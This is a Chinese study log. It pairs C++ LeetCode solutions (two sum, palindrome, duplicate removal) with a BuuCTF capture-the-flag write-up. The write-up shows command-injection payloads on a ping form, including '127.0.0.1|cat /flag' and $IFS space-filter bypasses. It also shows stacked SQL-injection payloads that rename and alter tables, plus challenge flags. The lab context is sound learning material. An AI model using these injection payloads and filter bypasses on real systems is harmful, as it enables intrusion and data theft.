20240214

LeetCode

两数之和

使用暴力枚举,枚举数组中的每一个数 x,寻找数组中是否存在 target - x。

当我们使用遍历整个数组的方式寻找 target - x 时,需要注意到每一个位于 x 之前的元素都已经和 x 匹配过,因此不需要再进行匹配。而每一个元素不能被使用两次,所以我们只需要在 x 后面的元素中寻找 target - x。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Solution {
public:
vector<int> twoSum(vector<int>& nums, int target) {
int i=0,j=0;
vector <int> v;
for(i=0;i<nums.size()-1;i++)
{
for(j=i+1;j<nums.size();j++)
{
if(nums[i]+nums[j]==target)
{
v = {i,j};
}
}
}
return v;
}
};
回文数

思路:

  • 将数字转换为字符串,并检查字符串是否为回文。但是,这需要额外的非常量空间来创建问题描述中所不允许的字符串。

  • 将数字本身反转,然后将反转后的数字与原始数字进行比较,如果它们是相同的,那么这个数字就是回文

我选择用循环,判断对称位的数是否相等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class Solution {
public:
bool isPalindrome(int x) {
if(x<0) return false;
else if(x>=0 && x<10) return true;
else{
int i=0;
int n=ws(x);
int sz[n];
int num=x;
for(i=0;i<n;i++)
{
sz[i]=num%10;
num=num/10;
}
for(i=0;i<n/2;i++)
{
if(sz[i]!=sz[n-i-1]) return false;
}
return true;
}
}

int ws(int x)
{
int n=0;
while(x!=0)
{
n++;
x=x/10;
}
return n;
}
};
删除有序数组中的重复项

循环,删除重复项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Solution {
public:
int removeDuplicates(vector<int>& nums) {
int i=0;
int len=nums.size();
for(i=len-1;i>0;i--)
{
if(nums[i]==nums[i-1])
{
nums.erase(nums.begin()+i);
}
}
return nums.size();
}
};

BuuCTF

5、Exec

Linux ping 命令用于检测主机。执行 ping 指令会使用 ICMP 传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常

ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)

cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上

首先查看此文件的目录:127.0.0.1|ls

点击ping后发现有个index.php文件

image

再查看上级目录:127.0.0.1|ls /

点击ping后可以看到一个flag

image

查看flag:127.0.0.1|cat /flag

得到flag

image

1
flag{4504f6f2-191b-410b-b40d-18b4e403a271}
6、Ping Ping Ping

这一题与上一题Exec类似,首先访问本地地址,发现有显示

image

查看此文件的目录,发现有两个文件

image

查看flag.php文件

image

它说空格被过滤了

命令中空格被过滤的解决方法:

1
2
3
4
5
6
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg (\x20转换成字符串就是空格)

发现符号又被过滤了,说明{}大括号被过滤了

image

用另一个方法试下index.php文件

image

有一个参数a,变量拼接字符串——将a的值覆盖,然后进行绕过

构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

用变量拼接成flag

image

啥也没有,查看源代码,得到flag

image

1
flag{97aede41-9723-4901-8ac2-b345d66af44b}
7、随便注

image

image

查询3时没有显示,说明有两个字段

爆数据库:1’;show databases;#

image

爆表名:1’; show tables;#

出来了两个表

image

查看words表列名:1’; show columns from words;#

image

查看1919810931114514表列名:0’; show columns from 1919810931114514;#

注意:表名为数字时,要用反引号包起来查询

看到flag,说明表1919810931114514中有flag

image

查看大佬的方法

  • 通过 rename 先把 words 表改名为其他的表名。

  • 把 1919810931114514 表的名字改为 words 。

  • 给新 words 表添加新的列名 id 。

  • 将 flag 改名为 data

    1’; rename table words to word1; rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

    image

最后输入:1’ or 1=1;#

得到flag

image

1
flag{aa75e48d-8389-408e-9c8c-9d30c81c432b}

8、EasySQL

输入1,有显示

image

爆数据库:1;show databases;#

image

爆表:1;show tables;#

image

爆字段:1;show columns from FLAG;#

显示Nonono

image

查看大佬博客后,构造payload:*,1

参考博客([BUUCTF-SUCTF 2019]EasySQL1__Monica_的博客-CSDN博客

得到flag

image

1
flag{7c0c6069-c1fe-4314-b793-9a214f11fdb3}